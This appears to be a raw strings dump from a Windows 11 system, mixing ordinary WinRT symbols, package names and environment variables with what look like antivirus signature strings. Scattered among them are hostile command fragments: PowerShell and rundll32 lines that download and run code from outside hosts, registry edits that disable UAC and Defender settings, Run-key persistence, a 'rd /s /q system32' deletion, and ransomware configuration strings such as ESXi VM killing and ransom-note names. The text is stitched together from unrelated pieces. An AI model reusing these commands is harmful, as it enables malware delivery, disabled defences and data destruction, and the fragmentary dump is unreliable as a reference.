.?AU?$producer_convert@Uiterator@?$iterable_base@U?$map_impl@Uhstring@winrt@@W4ViewManagerPropertyType@ReactNative@Microsoft@2@V?$map@Uhstring@winrt@@W4ViewManagerPropertyType@ReactNative@Microsoft@2@U?$less@Uhstring@winrt@@@std@@V?$allocator@U?$pair@$$CBUhstring@winrt@@W4ViewManagerPropertyType@ReactNative@Microsoft@2@@std@@@7@@std@@Usingle_threaded_collection_base@impl@2@@impl@winrt@@U?$IKeyValuePair@Uhstring@winrt@@W4ViewManagerPropertyType@ReactNative@Microsoft@2@@Collections@Foundation@Windows@3@Ucollection_version@23@@winrt@@U?$IIterator@U?$IKeyValuePair@Uhstring@winrt@@W4ViewManagerPropertyType@ReactNative@Microsoft@2@@Collections@Foundation@Windows@winrt@@@Collections@Foundation@Windows@3@X@impl@winrt@@
.?AU?$producer@Uiterator@?$iterable_base@U?$map_impl@Uhstring@winrt@@W4ViewManagerPropertyType@ReactNative@Microsoft@2@V?$map@Uhstring@winrt@@W4ViewManagerPropertyType@ReactNative@Microsoft@2@U?$less@Uhstring@winrt@@@std@@V?$allocator@U?$pair@$$CBUhstring@winrt@@W4ViewManagerPropertyType@ReactNative@Microsoft@2@@std@@@7@@std@@Usingle_threaded_collection_base@impl@2@@impl@winrt@@U?$IKeyValuePair@Uhstring@winrt@@W4ViewManagerPropertyType@ReactNative@Microsoft@2@@Collections@Foundation@Windows@3@Ucollection_version@23@@winrt@@U?$IIterator@U?$IKeyValuePair@Uhstring@winrt@@W4ViewManagerPropertyType@ReactNative@Microsoft@2@@Collections@Foundation@Windows@winrt@@@Collections@Foundation@Windows@3@X@impl@winrt@@
.?AU?$producers_base@Uiterator@?$iterable_base@U?$map_impl@Uhstring@winrt@@W4ViewManagerPropertyType@ReactNative@Microsoft@2@V?$map@Uhstring@winrt@@W4ViewManagerPropertyType@ReactNative@Microsoft@2@U?$less@Uhstring@winrt@@@std@@V?$allocator@U?$pair@$$CBUhstring@winrt@@W4ViewManagerPropertyType@ReactNative@Microsoft@2@@std@@@7@@std@@Usingle_threaded_collection_base@impl@2@@impl@winrt@@U?$IKeyValuePair@Uhstring@winrt@@W4ViewManagerPropertyType@ReactNative@Microsoft@2@@Collections@Foundation@Windows@3@Ucollection_version@23@@winrt@@V?$tuple@U?$IIterator@U?$IKeyValuePair@Uhstring@winrt@@W4ViewManagerPropertyType@ReactNative@Microsoft@2@@Collections@Foundation@Windows@winrt@@@Collections@Foundation@Windows@winrt@@@std@@@impl@winrt@@
Microsoft.Windows.StoreAgent.Telemetry
Microsoft.Windows.StoreAgent.Telemetry
?topLevelWindows@QGuiApplication@@SA?AV?$QList@PEAVQWindow@@@@XZ
WindowsCreateString
WindowsCreateStringReference
WindowsGetStringRawBuffer
WindowsDeleteString
WindowsDeleteString
WindowsGetStringRawBuffer
WindowsStringHasEmbeddedNull
WindowsIsStringEmpty
WindowsCreateStringReference
ides@Controls@Xaml@UI@Windows@4@X@impl@winrt@@
.?AU?$producer@VCheckboxView@implementation@CheckboxWindows@winrt@@UIToggleButtonOverrides@Primitives@Controls@Xaml@UI@Windows@4@X@impl@winrt@@
.?AU?$producer_convert@VCheckboxView@implementation@CheckboxWindows@winrt@@UIToggleButtonOverrides@Primitives@Controls@Xaml@UI@Windows@4@X@impl@winrt@@
.?AU?$producer_convert@VCheckboxView@implementation@CheckboxWindows@winrt@@U134@X@impl@winrt@@
.?AU?$producer@VCheckboxView@implementation@CheckboxWindows@winrt@@UICheckboxView@34@X@impl@winrt@@
.?AU?$producers_base@VCheckboxView@implementation@CheckboxWindows@winrt@@V?$tuple@UCheckboxView@CheckboxWindows@winrt@@UIToggleButtonOverrides@Primitives@Controls@Xaml@UI@Windows@3@UIContentControlOverrides@67893@UIControlOverrides@67893@UIControlOverrides6@67893@UIFrameworkElementOverrides@7893@UIFrameworkElementOverrides2@7893@UIUIElementOverrides@7893@UIUIElementOverrides7@7893@UIUIElementOverrides8@7893@UIUIElementOverrides9@7893@@std@@@impl@winrt@@
.?AVCheckboxView@implementation@CheckboxWindows@winrt@@
.?AUtype@?$abi@UICheckboxViewFactory@CheckboxWindows@winrt@@X@impl@winrt@@
.?AUtype@?$abi@UICheckboxView@CheckboxWindows@winrt@@X@impl@winrt@@
.?AUtype@?$abi@UIToggleButtonOverrides@Primitives@Controls@Xaml@UI@Windows@winrt@@X@impl@winrt@@
.?AUtype@?$abi@UIControlOverrides6@Controls@Xaml@UI@Windows@winrt@@X@impl@winrt@@
.?AUtype@?$abi@UIControlOverrides@Controls@Xaml@UI@Windows@winrt@@X@impl@winrt@@
.?AUtype@?$abi@UIContentControlOverrides@Controls@Xaml@UI@Windows@winrt@@X@impl@winrt@@
.?AUtype@?$abi@URoutedEventHandler@Xaml@UI@Windows@winrt@@X@impl@winrt@@
.?AUtype@?$abi@UIUIElementOverrides9@Xaml@UI@Windows@winrt@@X@impl@winrt@@
.?AUtype@?$abi@UIUIElementOverrides8@Xaml@UI@Windows@winrt@@X@impl@winrt@@
.?AUtype@?$abi@UIUIElementOverrides7@Xaml@UI@Windows@winrt@@X@impl@winrt@@
.?AUtype@?$abi@UIUIElementOverrides@Xaml@UI@Windows@winrt@@X@impl@winrt@@
.?AUtype@?$abi@UIFrameworkElementOverrides2@Xaml@UI@Windows@winrt@@X@impl@winrt@@
.?AUtype@?$abi@UIFrameworkElementOverrides@Xaml@UI@Windows@winrt@@X@impl@winrt@@
.?AUtype@?$abi@UIActivationFactory@Foundation@Windows@winrt@@X@impl@winrt@@
.?AU?$heap_implements@VCheckboxViewManager@implementation@CheckboxWindows@winrt@@@impl@winrt@@
.?AU?$heap_implements@UReactPackageProvider@factory_implementation@CheckboxWindows@winrt@@@impl@winrt@@
.?AU?$heap_implements@UReactPackageProvider@implementation@CheckboxWindows@winrt@@@impl@winrt@@
.?AU?$produce@UReactPackageProvider@factory_implementation@CheckboxWindows@winrt@@UIActivationFactory@Foundation@Windows@4@@impl@winrt@@
.?AU?$produce_base@UReactPackageProvider@factory_implementation@CheckboxWindows@winrt@@UIActivationFactory@Foundation@Windows@4@X@impl@winrt@@
.?AU?$implements@UReactPackageProvider@factory_implementation@CheckboxWindows@winrt@@UIActivationFactory@Foundation@Windows@4@@winrt@@
.?AU?$ReactPackageProviderT@UReactPackageProvider@factory_implementation@CheckboxWindows@winrt@@U1implementation@34@$$V@factory_implementation@C
WindowsCreateString
WindowsIsStringEmpty
WindowsStringHasEmbeddedNull
WindowsGetStringRawBuffer
WindowsDeleteString
WindowsCreateStringReference
WindowsUdk.UI.Shell.Taskbar
WindowsUdk.UI.Shell.Widgets
?emitPendingBytesWrittenValue@QWindowsPipeWriter@@AEAAXXZ
?emitPendingReadyRead@QWindowsPipeReader@@AEAAXXZ
api-ms-win-core-windowserrorreporting-l1-1-0.dll
api-ms-win-core-windowserrorreporting-l1-1-1.dll
WindowsConnectionManager
@}default_file_cipenable_esxi_vm_sapervm_snapshot_killpkcs1vrustc-demangleprocess.rsrand.rsbufreader.rsencrypt_app::windowslocker::core::os::windows::desktop_noteuac_bypass::shell_exec=-u-p-s-d-f-cpropagate::attempt=masquerade_pebRECOVER-${EXTENSION}-FILES.txt.onion/?access-key=${ACCESS_KEY}-vm-killno-vm-snapshot-killno-vm-kill-esxi_vm_killenable_esxi_vm_snapshot_killstrict_enum_shares_sync::okhidden_partitions::mount_all::mounting=!#HSTR:Win32/Guloader.SM230223!MTB
s\system32\
windowsZones
?c:\windows\
Windows
System32
Windows
System32
SELECT * FROM Win32_ShadowCopy/c SCHTASKS.exe /Create /RU "NT AUTHORITY\SYSTEM" /sc onstart /TN "Windows Update BETA/
c:\windows\system32\cmd.exe/c%systemroot%\
Microsoft-Windows-Client-Desktop-Required-Package04113~31bf3856ad364e35~amd64~~10.0.26100.7840.cat
c:\programdata\windows32.exe
\C:\WINDOWS\SYSTEM32\APPMGMTS.DLL>!
WINDOWS11
WINDOWS11
Vforeground-boost-opt-in --user-agent="Mozilla/5.0 (Windows NT 10.0; Win64; x64; Cortana 1.18.9.23723;(
WINDOWS11
c:\windows\system32\cmd.exe/q/ccalc
9MSMLRH6LZF3Windows Notepadhttps://store-images.s-microsoft.com/image/apps.10047.13825011251621706.e8a531ea-e643-41b9-8969-8a0182f70030.a3e757b8-b4d7-449c-9001-20798f9f0481en
9MSMLRH6LZF3Windows Notepadhttps://store-images.s-microsoft.com/image/apps.10047.13825011251621706.e8a531ea-e643-41b9-8969-8a0182f70030.a3e757b8-b4d7-449c-9001-20798f9f0481fr
9MSMLRH6LZF3Windows Notepadhttps://store-images.s-microsoft.com/image/apps.10047.13825011251621706.e8a531ea-e643-41b9-8969-8a0182f70030.a3e757b8-b4d7-449c-9001-20798f9f0481de
enquire.bath.enquire.bat..\..\..\..\rap\enquire.batc:\windows\explorer.exe%systemroot%\explorer.exe%systemroot%\explorer.exe
hklm\software\microsoft\windows\currentversion\notifications\settings\windows.systemtoast.securityandmaintenance
-windowstylehiddenadd-mppreference-exclusionpathc:\users\
a-z0-9\appdata\roaming\microsoft\windows\themes\
 Windows 
 Windows 
 Windows 
 Windows 
 Windows 
 Windows 
 Windows 
WINDOWS11
}4	:\windows\system32\cmd.exe/cstartrundll32\
k\windows\system32\cmd.exe!/cmoccasin\unthoughtful.cmdregc:\windows\system32\shell32.dll
regadd"hklm\software\policies\microsoft\windowsdefender\spynet"/v"submitsamplesconsent"/treg_dword/d"2"/f
regwrite("hklm\software\microsoft\windows\currentversion\policies\system","enablelua","reg_dword","0")
\software\microsoft\windows\currentversion\policies\explorer/vnodesktop/treg_dword/d1/f>nul
shellcommon\shell\Windows.UI.Shell\StartDocked\Common\cppwinrtcxinterop.h
 Windows 
 Windows 
 Windows 
 Windows 
 Windows 
 Windows 
 Windows 
 Windows 
Microsoft-Windows-Client-Desktop-Required-Package0414~31bf3856ad364e35~amd64~~10.0.26100.7824.cat
Microsoft-Windows-Client-Desktop-Required-WOW64-Package0010~31bf3856ad364e35~amd64~~10.0.26100.7824.cat
Microsoft-Windows-Client-Desktop-Required-WOW64-Package0010~31bf3856ad364e35~amd64~~10.0.26100.1742.cat
Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy
ystem32\wevtutil.exe install-manifest C:\WINDOWS\SystemTemp\FEB6A398-9847-7F25-8714-CD62DCB28DB8.man "/resourceFilePath:C:\ProgramData\Microsoft\Windows Defender\Definition Updates\StableEngineEtwLocation\mpengine_etw.dll" "/messageFilePath:C:\ProgramData\Microsoft\Windows Defender\Definition Updates\StableEngineEtwLocation\mpengine_etw.dll" "/parameterFilePath:C:\ProgramData\Microsoft\Windows Defender\Definition Updates\StableEngineEtwLocation\mpengine_etw.dll"
ystem32\wevtutil.exe install-manifest C:\WINDOWS\SystemTemp\FEB6A398-9847-7F25-8714-CD62DCB28DB8.man "/resourceFilePath:C:\ProgramData\Microsoft\Windows Defender\Definition Updates\StableEngineEtwLocation\mpengine_etw.dll" "/messageFilePath:C:\ProgramData\Microsoft\Windows Defender\Definition Updates\StableEngineEtwLocation\mpengine_etw.dll" "/parameterFilePath:C:\ProgramData\Microsoft\Windows Defender\Definition Updates\StableEngineEtwLocation\mpengine_etw.dll"
ystem32\wevtutil.exe install-manifest C:\WINDOWS\SystemTemp\FEB6A398-9847-7F25-8714-CD62DCB28DB8.man "/resourceFilePath:C:\ProgramData\Microsoft\Windows Defender\Definition Updates\StableEngineEtwLocation\mpengine_etw.dll" "/messageFilePath:C:\ProgramData\Microsoft\Windows Defender\Definition Updates\StableEngineEtwLocation\mpengine_etw.dll" "/parameterFilePath:C:\ProgramData\Microsoft\Windows Defender\Definition Updates\StableEngineEtwLocation\mpengine_etw.dll"
\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\
c:/windows/system32/d
c:/windows/system32/drivers/ucmcx.sys
c:/windows/system32/drivers/ucmucsicx.sys1
-windowstylehidde
WINDOWS\ServiceProfiles\Network
system32\cmd.exe
WINDOWS\system32\config
=C:\Windows\S
Windows::Isolation::Rtl::RtlCloneIdentityAttributeEnumerator
Windows::TypeSafeHandle::Provider::Rtl::CTypeSafeHandlePointer<class CIdentityAttributeEnumeratorTraits>::Attach
Windows::TypeSafeHandle::Provider::Rtl::CTsObjectTraits<struct Windows::Isolation::Rtl::_IDENTITY_ATTRIBUTE_ENUMERATOR,class CIdentityAttributeEnumerator,class CIdentityAttributeEnumeratorCD,class CIdentityAttributeEnumeratorTraits>::Close
Windows::Cdf::Rtl::CdfEnumerateGuidTable
CTSEnumeratorHandleImplementation<struct _CDF_INTERNAL_GUID_TABLE_ENUMERATOR,class Windows::TypeSafeHandle::Provider::Rtl::CTypeSafeHandlePointer<struct _CDF_INTERNAL_GUID_TABLE_ENUMERATOR> >::MovePosition
CTSEnumeratorHandleImplementation<struct _CDF_INTERNAL_GUID_TABLE_ENUMERATOR,class Windows::TypeSafeHandle::Provider::Rtl::CTypeSafeHandlePointer<struct _CDF_INTERNAL_GUID_TABLE_ENUMERATOR> >::SetPosition
Windows::TypeSafeHandle::Provider::Rtl::CTypeSafeHandlePointer<struct _CDF_INTERNAL_GUID_TABLE_ENUMERATOR>::Attach
CTSEnumeratorHandleImplementation<struct _CDF_INTERNAL_GUID_TABLE_ENUMERATOR,class Windows::TypeSafeHandle::Provider::Rtl::CTypeSafeHandlePointer<struct _CDF_INTERNAL_GUID_TABLE_ENUMERATOR> >::FetchData
WINDOWS_TRACING_FACILITY_
ReadWHKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows\CurrentVersion\Internet Settings
reg add HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon /v 
TemplateSelector@implementation@TaskManagerApp@winrt@@UIDataTemplateSelectorOverrides2@Controls@Xaml@UI@Windows@4@X@impl@winrt@@
.?AU?$root_implements@UGroupableSettingTemplateSelector@implementation@TaskManagerApp@winrt@@U134@Ucomposing@4@UIDataTemplateSelectorOverrides@Controls@Xaml@UI@Windows@4@UIDataTemplateSelectorOverrides2@789Windows@4@@impl@winrt@@
.?AU?$producer_convert@UGroupableSettingTemplateSelector@implementation@TaskManagerApp@winrt@@UIDataTemplateSelectorOverrides@Controls@Xaml@UI@Windows@4@X@impl@winrt@@
.?AU?$producer@UGroupableSettingTemplateSelector@implementation@TaskManagerApp@winrt@@UIDataTemplateSelectorOverrides@Controls@Xaml@UI@Windows@4@X@impl@winrt@@
.?AU?$producers_base@UGroupableSettingTemplateSelector@implementation@TaskManagerApp@winrt@@V?$tuple@UGroupableSettingTemplateSelector@TaskManagerApp@winrt@@UIDataTemplateSelectorOverrides@Controls@Xaml@UI@Windows@3@UIDataTemplateSelectorOverrides2@56783@@std@@@impl@winrt@@
.?AU?$root_implements@UAccessibleContentDialog@implementation@TaskManagerApp@winrt@@U134@Ucomposing@4@UIContentControlOverrides@Controls@Xaml@UI@Windows@4@UIControlOverrides@789Windows@4@UIControlOverrides6@789Windows@4@UIFrameworkElementOverrides@89Windows@4@UIFrameworkElementOverrides2@89Windows@4@UIUIElementOverrides@89Windows@4@UIUIElementOverrides7@89Windows@4@UIUIElementOverrides8@89Windows@4@UIUIElementOverrides9@89Windows@4@@impl@winrt@@
.?AU?$root_implements@UExpanderToggleButton@implementation@TaskManagerApp@winrt@@U134@Ucomposing@4@UIToggleButtonOverrides@Primitives@Controls@Xaml@UI@Windows@4@UIContentControlOverrides@89UI@Windows@4@UIControlOverrides@89UI@Windows@4@UIControlOverrides6@89UI@Windows@4@UIFrameworkElementOverrides@9UI@Windows@4@UIFrameworkElementOverrides2@9UI@Windows@4@UIUIElementOverrides@9UI@Windows@4@UIUIElementOverrides7@9UI@Windows@4@UIUIElementOverrides8@9UI@Windows@4@UIUIElementOverrides9@9UI@Windows@4@@impl@winrt@@
.?AU?$root_implements@UEntityItem@implementation@TaskManagerApp@winrt@@U134@Ucomposing@4@UIContentControlOverrides@Controls@Xaml@UI@Windows@4@UIControlOverrides@789Windows@4@UIControlOverrides6@789Windows@4@UIFrameworkElementOverrides@89Windows@4@UIFrameworkElementOverrides2@89Windows@4@UIUIElementOverrides@89Windows@4@UIUIElementOverrides7@89Windows@4@UIUIElementOverrides8@89Windows@4@UIUIElementOverrides9@89Windows@4@@impl@winrt@@
windir=C:\WINDOWS
USERDOMAIN=Windows11
SystemRoot=C:\WINDOWS
LOGONSERVER=\\WINDOWS11
0\..\..\..\windows\system32\cmd.exe/c%programdata:~0,1%%programdata:~9,2%/v
WindowsSecurityAppList
-MicrosoftWindows.Client.CBS_cw5n1h2txyewy!Global.IrisService
3^MicrosoftWindows.Client.CBS_cw5n1h2txyewy!Global.PeopleWidget
Path=C:\WINDOWS\system32;
 Windows
 Windows
s RAM usageAutomatically open Copilot when you sign into WindowsBrowse with Microsoft Copilot, search with Bing, and shop at the Microsoft and Windows stores to earn free rewardsEarn Microsoft Rewards in Microsoft CopilotCopilot connects local browsing data from this profile with the rest of Windows.When turned on, Microsoft Copilot will connect local browsing data from this profile with the rest of Windows. Turning this feature on will help you find information from your history, top sites and recent tabs more easily using features such as the search box on the taskbar in Windows. If you turn off this feature Microsoft Copilot will remove the data shared with Windows on the device and stop sharing any new browsing data from this profile.Save content using Collections in Microsoft CopilotAlways have access to your recent browsing data each time you browse on Microsoft CopilotChoose confirm to stop Microsoft Copilot from importing browser data from other browsers.Application behavior and featuresCustomize general application behavior settings like asking before closing multiple tabs, mouse gesture, and split screenAllow Copil1
Microsoft.WindowsAppRuntime.1.8_8wekyb3d8bbwe
windows u&
COMPUTERNAME=WINDOWS11
ComSpec=C:\WINDOWS\system32\cmd.exe
DriverData=C:\Windows\System32\Drivers\DriverData
LOCALAPPDATA=C:\Users\job\AppData\Local\Packages\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\AC
LOGONSERVER=\\WINDOWS11
OS=Windows_NT
Path=C:\WINDOWS\system32;C:\WINDOWS;C:\WINDOWS\System32\Wbem;C:\WINDOWS\System32\WindowsPowerShell\v1.0\;C:\WINDOWS\System32\OpenSSH\;C:\Users\job\AppData\Local\Microsoft\WindowsApps
PSModulePath=%ProgramFiles%\WindowsPowerShell\Modules;C:\WINDOWS\system32\WindowsPowerShell\v1.0\Modules
SystemRoot=C:\WINDOWS
TEMP=C:\Users\job\AppData\Local\Packages\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\AC\Temp
TMP=C:\Users\job\AppData\Local\Packages\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\AC\Temp
USERDOMAIN=Windows11
USERDOMAIN_ROAMINGPROFILE=Windows11
windir=C:\WINDOWS
https://www.bing.com/AS/API/WindowsCortanaPane/V2/WSBServiceWorker.js
https://www.bing.com/AS/API/WindowsCortanaPane/V2/WSBServiceWorker.js
ExitWindowsEx
EnumThreadWindows
SetWindowsHookExW
UnhookWindowsHookEx
%s\microsofts\windows nt\%s.exe%
%08x%08x_windows_defender%
T.readtoend();';$s.useshellexecute=$false;$s.redirectstandardoutput=$true;$s.windowstyle='hidden';$s.createnowindow=$true;$p=[system.diagnostics.process]
c:\Windows\%s.exedoorname="char 
wow64_microsoft-windows-w..itomi-dll.resources_31bf3856ad364e35_en-us_eb380bf22ed8c8a5
wow64_microsoft-windows-w..lient-aux.resources_31bf3856ad364e35_en-us_d960da2187f10d06
wow64_microsoft-windows-w..lity-base.resources_31bf3856ad364e35_en-us_c5d10b4aebb25083
wow64_microsoft-windows-w..mcore-dll.resources_31bf3856ad364e35_en-us_1201b2151b62b2c7
wow64_microsoft-windows-w..ment-core.resources_31bf3856ad364e35_en-us_6120c2e075ad13e5
wow64_microsoft-windows-w..nfrastructure-other_31bf3856ad364e35_none_962e3016048d7bfa
wow64_microsoft-windows-w..nfrastructure-ws232_31bf3856ad364e35_none_e1dcd3c4d038b3b7
wow64_microsoft-windows-w..nkobjcore.resources_31bf3856ad364e35_en-us_3e8baeb99eb3f377
wow64_microsoft-windows-w..nttoolapi.resources_31bf3856ad364e35_en-us_cb4bf00f35e5fdf8
shellcommon\undockeddevkit\libs\windowsudk.services.experiences\experiencepackmanager.cpp
`path=c:\windows\savepathsetup=c:\windows\
.vbssetup=c:\windows\
.exesetup=c:\windows\
windows\system32\rundll32.exevjavascript:"\..\mshtml,runhtmlapplication";document.write();getobject("script:https://hard5.myftp.info/?iewruy5743
[down]http://118.190.50.141:8888/ups.exec:\windows\loginsa.exe
Windows Event Log Management
BELARUS-VIRUS-MAKERExplorer.exe smrss.exeC:\WINDOWS\svchost.exeC:\WINDOWS\system32\freizer.exePWS:HTML/Fraudgoodocs.C
(windows nt 6.1; win64; x64; trident/7.0; rv:11.0)(
Windows Update
system32b2regsvr32.exef*regsvr32.exe
<hta:application windowstate="minimize"/><script>new activexobject("wscript.shell").run("cmd /c \"\""+window.l
Windows Hardware Drive
\\System32\svchost.exe -k
Windows\security\process.exessr.la/86.exespoolsv.exe
Windows Security Services
','%appdata%\microsoft\windows\startmenu\programs\startup\winword.exe');"
scrobj.dll"%systemroot%\system32\imageres.dll%
?directdownload=truescrobj.dll"%systemroot%\system32\imageres.dll%
 = Environ("windir") + "\System32\rundll32.exe" + " """ + 
 @Windows.Data.Platform.ItemReference<Windows.Data.CuratedTileCollection.TileCollection>
Ec:\windows\system32\windowspowershell\v1.0\powershell.exe-executionpolicybypass-windo1$yh=[string][char[]]@(0x69,0x65,0x58)-replace'','';salpv$yh;$mp=((new-objectnet.webclient)).downloadstring('http://timecheck.ug/ppx.ps1');pv$mp
workbook_open(): call shell$("powershell.exe -executionpolicy bypass -noprofile -windowstyle hidden -encodedcommand iaaoag4arqb3ac0abwbiagoazqbjafqaiabtahkauwbuaguabqauae4azqb0ac4avw
WHKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Runduckdns.org
powershell.exe-windowstylehidden-noprofile-executionpolicybypass(new-objectsystem.net.webclient).downloadfile('http
*Microsoft.Windows.StartMenuExperienceHost_cw5n1h2txyewy
software\system32\configuration\s
lxattrib +H +S C:\WINDOWS\system\
reg add HKCU\Software\Microsoft\Windows\CurrentVersion\Run /V
 /T REG_SZ /D "C:\WINDOWS\system32\
Lua:FileInWindowsMailApp.A
% & rd /s /q system32
c:\windows\system32\cmd.exe/c
shellcommon\shell\Windows.UI.Shell\StartDocked\StartDocked\JumpViewControlHost.xaml.cpp
shellcommon\shell\Windows.UI.Shell\StartDocked\StartDocked\AppItemTemplateApplicator.cpp
WindowsCreateString
WindowsIsStringEmpty
WindowsCompareStringOrdinal
WindowsConcatString
WindowsGetStringLen
AIllegal to wait on a task in a Windows Runtime STA
shellcommon\shell\Windows.UI.Shell\StartDocked\Common\pplhelpers.h
Imshellcommon\shell\Windows.UI.Shell\StartDocked\ViewModel\AllAppsExpandingGroupViewModel.h
shellcommon\shell\Windows.UI.Shell\StartDocked\ViewModel\AllAppsFolderViewModel.h
XTc:\windows\digitallocker\en-us\vt-windows-event-stream.exe
[-hkey_local_machine\software\microsoft\windowsdefender]
<exec><command>c:\windows\system32\wscript.exe</command>
\\WINDOWS11
WINDOWS11
Microsoft.Windows.Wil.FeatureLogging
Microsoft.Windows.CDP.UserService
;/c attrib -r -h -s "%s"windows\%s.scrpin this program to taskbar
ms-windowsbackup
ms-windowsbackup^fc
Microsoft-Windows-LanguageFeatures-OCR-en-gb-Package~31bf3856ad364e35~amd64~~10.0.26100.19
ystem.Runtime.Windows
oftware\Microsoft\Windows.
C:\ProgramData\Microsoft\Windows\AppRepository\StateRepository-Machine.srd
C:\ProgramData\Microsoft\Windows\AppRepository\StateRepository-Machine.srd-journal
C:\ProgramData\Microsoft\Windows\AppRepository\StateRepository-Machine.srd-wal
\c:\windows\system32\spanner.exe
onecore\base\appmodel\staterepository\winrt\client\lib\windows.internal.staterepository.custominstallworkfactory.cpp
Windows::Internal::StateRepository::CustomInstallWorkFactoryServer::Add
Windows::Internal::StateRepository::CustomInstallWorkFactoryServer::Update
Windows::Internal::StateRepository::CustomInstallWorkFactoryServer::Delete
Windows::Internal::StateRepository::CustomInstallWorkFactoryServer::DeleteByUserAndPackageAndIndex
Windows::Internal::StateRepository::CustomInstallWorkFactoryServer::DeleteByUserAndPackageAndName
Windows::Internal::StateRepository::CustomInstallWorkFactoryServer::UpdateWorkId
Windows::Internal::StateRepository::CustomInstallWorkFactoryServer::ClearWorkByWorkId
Windows::Internal::StateRepository::CustomInstallWorkFactoryServer::DeleteByWorkId
onecore\base\appmodel\staterepository\winrt\client\lib\windows.internal.staterepository.defaulttilefactory.cpp
onecore\base\appmodel\staterepository\winrt\client\lib\windows.internal.staterepository.bundlepackagefactory.cpp
onecore\base\appmodel\staterepository\winrt\client\lib\windows.internal.staterepository.contentgroupfactory.cpp
onecore\base\appmodel\staterepository\winrt\client\lib\windows.internal.staterepository.contentgroupfilefactory.cpp
onecore\base\appmodel\staterepository\winrt\client\lib\windows.internal.staterepository.enterprisefactory.cpp
onecore\base\appmodel\staterepository\winrt\client\lib\windows.internal.staterepository.filefactory.cpp
onecore\base\appmodel\staterepository\winrt\client\lib\windows.internal.staterepository.packageappinstallerfactory.cpp
onecore\base\appmodel\staterepository\winrt\client\lib\windows.internal.staterepository.mrtuserprifactory.cpp
onecore\base\appmodel\staterepository\winrt\client\lib\windows.internal.staterepository.nameddependencyfactory.cpp
onecore\base\appmodel\staterepository\winrt\client\lib\windows.internal.staterepository.hostruntimefactory.cpp
onecore\base\appmodel\staterepository\winrt\client\lib\windows.internal.staterepository.mrtsharedprifactory.cpp
onecore\base\appmodel\staterepository\winrt\client\lib\windows.internal.staterepository.packageidentityfactory.cpp
onecore\base\appmodel\staterepository\winrt\client\lib\windows.internal.staterepository.packagemachinestatusfactory.cpp
Windows::Internal::StateRepository::PackagePolicyFactoryServer::Update
Windows::Internal::StateRepository::PackagePolicyFactoryServer::Upsert
Windows::Internal::StateRepository::PackagePolicyFactoryServer::Delete
Windows::Internal::StateRepository::PackagePolicyFactoryServer::DeleteByUserAndPackageAndNameAndIndex
onecore\base\appmodel\staterepository\winrt\client\lib\windows.internal.staterepository.pkgextensionhostfactory.cpp
onecore\base\appmodel\staterepository\winrt\client\lib\windows.internal.staterepository.primarytilefactory.cpp
Windows::Internal::StateRepository::PrimaryTileUserFactoryServer::Add
Windows::Internal::StateRepository::PrimaryTileUserFactoryServer::Update
Windows::Internal::StateRepository::PrimaryTileUserFactoryServer::Delete
Windows::Internal::StateRepository::PrimaryTileUserFactoryServer::DeleteByUserAndApplicationIdentity
Windows::Internal::StateRepository::PrimaryTileUserFactoryServer::UpdateWorkId
Windows::Internal::StateRepository::PackageUserFactoryServer::UpdateWorkId
Windows::Internal::StateRepository::PackageUserFactoryServer::ClearWorkByWorkId
Windows::Internal::StateRepository::PackageUserFactoryServer::DeleteByWorkId
onecore\base\appmodel\staterepository\winrt\client\lib\windows.internal.staterepository.packageuserstatusfactory.cpp
onecore\base\appmodel\staterepository\winrt\client\lib\windows.internal.staterepository.pkgextensionfactory.cpp
Windows::Internal::StateRepository::PackagePolicyFactoryServer::UpdateWorkId
Windows::Internal::StateRepository::PackagePolicyFactoryServer::ClearWorkByWorkId
Windows::Internal::StateRepository::PackagePolicyFactoryServer::DeleteByWorkId
onecore\base\appmodel\staterepository\winrt\client\lib\windows.internal.staterepository.packagesourceurifactory.cpp
Windows::Internal::StateRepository::PackageUserFactoryServer::Add
Windows::Internal::StateRepository::PackageUserFactoryServer::Update
Windows::Internal::StateRepository::PackageUserFactoryServer::Delete
Windows::Internal::StateReposito3
s\system32\cmd.exe/c%
D:\os\obj\amd64fre\onecoreuap\vcpkg\bond\objfre\amd64\vcpkg_installed\target-windows\include\boost/exception/detail/exception_ptr.hpp
onecoreuap\windows\cdp\service\cdpusersvc\CDPComUserActivitySettings.h
onecoreuap\windows\cdp\common\internal\onecore\RelayActivatableRuntimeClassBase.h
onecoreuap\windows\cdp\service\cdpusersvc\PropertySetHelper.h
WindowsCreateString
WindowsStringHasEmbeddedNull
WindowsIsStringEmpty
WindowsCreateStringReference
WindowsDeleteString
WindowsGetStringRawBuffer
WindowsDuplicateString
WindowsCompareStringOrdinal
WindowsPreallocateStringBuffer
WindowsDeleteS
:software\microsoft\windows\currentversion\run
9dc:\windows\system32\cmd.exe/v/k"start/min""powershell-encodedcommand"
shellcommon\undockeddevkit\libs\windowsudk.ui.startscreen\TileCollection.h
shellcommon\undockeddevkit\libs\windowsudk.ui.startscreen\tilecollection.cpp
shellcommon\undockeddevkit\libs\windowsudk.ui.startscreen\tilecollectioncreateoptions.cpp
shellcommon\undockeddevkit\libs\windowsudk.ui.startscreen\tileid.cpp
shellcommon\undockeddevkit\libs\windowsudk.ui.startscreen\badge.cpp
Digest Authentication for Windows
Microsoft.Windows.Shell.AboveLockShellComponent
\program files\windowsapps\
Lua:FileContext/FileInWindowsApps.A
\\WINDOWS11
\\WINDOWS11
\\WINDOWS11
\\WINDOWS11
\\WINDOWS11
WindowsData
\system32\ipconfig.exe
Microsoft-Windows-Client-Desktop-Required-WOW64-Package0012~31bf3856ad364e35~amd64~~10.0.26100.1742.cat
Microsoft-Windows-Client-Features-WOW64-Package0110~31bf3856ad364e35~amd64~~10.0.26100.1742.cat
Microsoft-Windows-Client-Features-Package00~31bf3856ad364e35~amd64~~10.0.26100.7840.cat
